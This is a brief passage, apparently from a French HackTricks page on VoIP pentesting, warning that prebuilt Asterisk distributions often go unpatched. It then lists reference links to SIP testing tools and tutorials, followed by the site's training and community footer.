Le moyen le plus simple d'installer un logiciel tel qu'Asterisk est de télécharger une distribution OS qui l'a déjà installé, comme : FreePBX, Elastix, Trixbox... Le problÚme avec ceux-ci est qu'une fois qu'ils fonctionnent, les administrateurs systÚme pourraient ne pas les mettre à jour à nouveau et des vulnérabilités seront découvertes avec le temps.
Références
- https://github.com/Pepelux/sippts/wiki
- https://github.com/EnableSecurity/sipvicious
- http://blog.pepelux.org/
- https://www.rtpbleed.com/
- https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4
- https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.